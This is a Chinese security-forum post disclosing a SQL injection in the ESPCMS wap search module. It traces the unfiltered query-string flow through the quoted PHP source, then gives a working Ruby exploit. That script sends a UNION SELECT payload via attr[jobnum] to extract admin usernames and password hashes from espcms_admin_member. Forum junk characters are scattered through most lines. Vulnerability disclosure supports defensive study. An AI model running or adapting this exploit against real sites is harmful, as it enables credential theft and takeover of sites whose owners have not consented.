找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
+ l' ?- f9 @# h1 a. @4 ]0×2 PoC- c/ L' h; v) a

- k- B5 U. s5 a( k3 H& L
6 g9 w: `! `0 t6 t. F$ s: ?" d9 x
6 {/ a! b& ?' A6 B0×0 漏洞概述
: V; R) V& q1 ]! W' `7 u0 T( C/ o* |% e4 A& l
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。( N* _2 L4 f& s
其在处理传入的参数时考虑不严谨导致SQL注入发生4 @. Y6 b& Q' z: ?' z; x+ o! D
" C/ A1 H+ A7 O7 {2 Q) n7 w
' n5 j8 ?" V2 w& q/ c& T  B
0×1 漏洞细节
: Q/ ?; h7 l, j% U. z  ]6 v
" v6 d! }: |8 g! T# s! ~变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。  B( N- F" h2 L- _. ]
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
: _" v& c( b7 G! C, ?3 j- B5 Y而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
) i) X9 `' W! v7 M1 D- k
; E7 ~6 H! H' g2 ^5 Q在/interface/3gwap_search.php文件的in_result函数中:5 ]$ m+ U3 _$ j; K

; R0 y# J" \& v) X5 B, D  J& \
% g; ?/ a% i( N1 H* }0 R# O' i4 q
  [+ p! a9 h3 @       function in_result() {% P' A3 M( U# D, Q, O, C& ^# L$ L
            ... ... ... ... ... ... ... ... ...
/ T0 r! d+ f" o% S0 j+ A% g9 b            $urlcode = $_SERVER[ 'QUERY_STRING '];
# [# j2 z  F5 v0 H! O% h            parse_str(html_entity_decode($urlcode), $output);7 J* [  N! x/ N& K/ w
* G; L$ [* x8 }7 X( X# y) |8 n- t
            ... ... ... ... ... ... ... ... ..." [- j" q! h6 `: y9 U7 d% i
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {' _  v: L3 F9 l

) W6 T, Y( w( g, g8 S- a! F  t$ a                  $db_table = db_prefix . 'model_att';. |) x* b( T) E. V+ m/ \

+ I& b) c2 l; \2 m0 v' V                   foreach ($output['attr' ] as $key => $value) {
. m4 i8 @/ n+ H: a+ k: y- l                         if ($value) {
& H' X# U- W  c; o3 D0 T
5 g& ~8 p3 n0 l7 O6 N7 N6 a1 r. V                              $key = addslashes($key);
8 l% Y1 T. v7 z6 ]  P$ g                              $key = $this-> fun->inputcodetrim($key);  L1 ^' G2 c5 V6 J) j# e* k  t1 C
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";5 m+ {$ Q0 n/ w; E7 g
                              $countnum = $this->db_numrows($db_table, $db_att_where);, ^. x8 g$ [% x( {) X% g
                               if ($countnum > 0) {
) K- @- Z: U) R+ V                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) o( k  J+ x8 I5 o1 i! X
                              }3 B: W% n! i3 y# H1 T
                        }$ H* ]1 n+ m1 j9 [! Z
                  }5 O/ O+ F3 ^6 r3 {/ |, h& N% L5 e
            }  ^  P" l" P: v( [
            if (!empty ($keyword) && empty($keyname)) {7 K, e6 O+ S' K- H/ f6 E- A# t
                  $keyname = 'title';
3 Z8 o% i: d; m5 x0 U                  $db_where.= " AND a.title like '%$keyword%'" ;' x" g- \, P- r* d/ b" `
            } elseif (!empty ($keyword) && !empty($keyname)) {5 F) ?9 W5 J: q  Q
                  $db_where.= " AND $keyname like '% $keyword%'";
2 ]! D& r3 [) f8 B& F' o1 u            }$ Q* I& q/ Y! i! Y1 X
            $pagemax = 15;  k$ }0 _" a* g  _9 v* Z
& J2 X6 G! k8 K
            $pagesylte = 1;
9 T; r: f/ ]3 v
# m0 T4 ]& t4 G5 l+ y             if ($countnum > 0) {. n4 M0 A1 y5 q; p# [

$ r5 c3 U: H% v                  $numpage = ceil($countnum / $pagemax);
$ V& \" E  K% j3 k            } else {
6 s! l( I, H' M+ P2 e# @- M                  $numpage = 1;
. P+ |& Q! \) J" m* Q2 r            }
" [# I9 g/ M/ ~3 J& s& S8 [            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
; S* o6 \5 v4 i' U            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);, e! d0 j# K/ x( I9 {
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);1 U: u" M) h2 W" n
            ... ... ... ... ... ... ... ... ...
9 X, {' S# O1 O. G      }
1 s# G, D- L) C  G7 G7 f: ]$ R4 k( F; k5 V3 s
6 e# u/ y/ x! M5 B. G
0×2 PoC
" a# `, W% i/ ~
! F2 x; B/ w5 ?2 l  b8 @# ^$ f8 E+ {7 u# h7 \3 o- ]3 ^: N8 @& K

( e4 n" H3 }; `7 O- B* o  hrequire "net/http"
5 X4 @  D, ?+ v( I' J* Q* S! c: v7 R- {& U2 G
def request(method, url)
- ]: i0 U3 U0 l$ @    if method.eql?("get")
' {1 H3 h4 Z, H' Q- ?1 b        uri = URI.parse(url)
4 J/ }. O# a7 K/ s6 D        http = Net::HTTP.new(uri.host, uri.port)
8 J9 X9 x" }+ O. |8 G8 ^# U        response = http.request(Net::HTTP::Get.new(uri.request_uri))+ Q! t5 ~* W* a( Y: r+ A0 R; _$ N
        return response
% m2 ~9 u2 Z5 g+ Z6 ^    end
$ D$ `' ]* E3 W& D$ _, Cend5 }* k: k1 A, }; ?/ u1 {

) V  y: v  {0 }" N8 H- ^0 f; @doc =<<HERE5 _+ ?) Z, u- t" `4 n9 g
-------------------------------------------------------
# g. Z1 Y  r$ I; k0 K2 E/ T5 ?$ DEspcms Injection Exploit3 [( X. U0 |9 ?+ r2 S, d
Author:ztz
+ q# W4 h9 d, j6 y8 I% F! h* ~Blog:http://ztz.fuzzexp.org/- V9 k9 N. x! v/ r/ ?
-------------------------------------------------------
2 h% C* [8 ]' M$ z3 K' {4 X
. j# E! j; o5 I4 w9 h: iHERE
, x5 |3 Z: F7 S$ C! }* g5 N# e2 ^! n5 A9 y; Y
usage =<<HERE
8 a. Q5 _4 F. S# S) ]Usage:         ruby #{$0} host port path
7 k( g6 f; e9 K% y- xexample:     ruby #{$0} www.target.com 80 /& d" C! _: P8 w0 h+ u1 M8 T( v. X
HERE) r1 u, ?; a0 z# |9 r! H

3 p" S/ ~  U  U2 I- bputs doc1 c. N, j" b$ a, F# l2 V+ k0 S1 z
if ARGV.length < 39 I5 v5 t. t8 |5 s$ a$ M: C
    puts usage
! _+ e+ Q; M$ ?- k! B' P) v7 delse/ Q( `8 S4 l# b$ ~% M
    $host = ARGV[0]7 L) C6 T% |( p5 ~  b
    $port = ARGV[1]3 n6 Y% i5 s1 W& ^9 j
    $path = ARGV[2]% @  n6 T1 _6 \% z3 ~6 r' P

: E8 ^6 i: z' A: S3 m$ E    puts "
  • send request..."2 e2 s; h4 T2 b( }& O
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    4 m) h; |# T* {- R3 Qattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13; U5 Q1 B( b: R6 [8 M) R( w
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    - G: P4 W0 H2 T' ]' f) z,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
      q* ~& J7 R+ c( ?9 P% }0 L    response = request("get", url)7 c; ?, a1 Q0 K% ^! _
        result = response.body.scan(/\w+&\w{32}/)
    & S/ j. O8 C0 O% j7 {    puts result
    5 G' V( S9 `7 E. W; Vend. z8 W+ {1 r. g
    7 Z- Z1 U9 J2 |* F
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表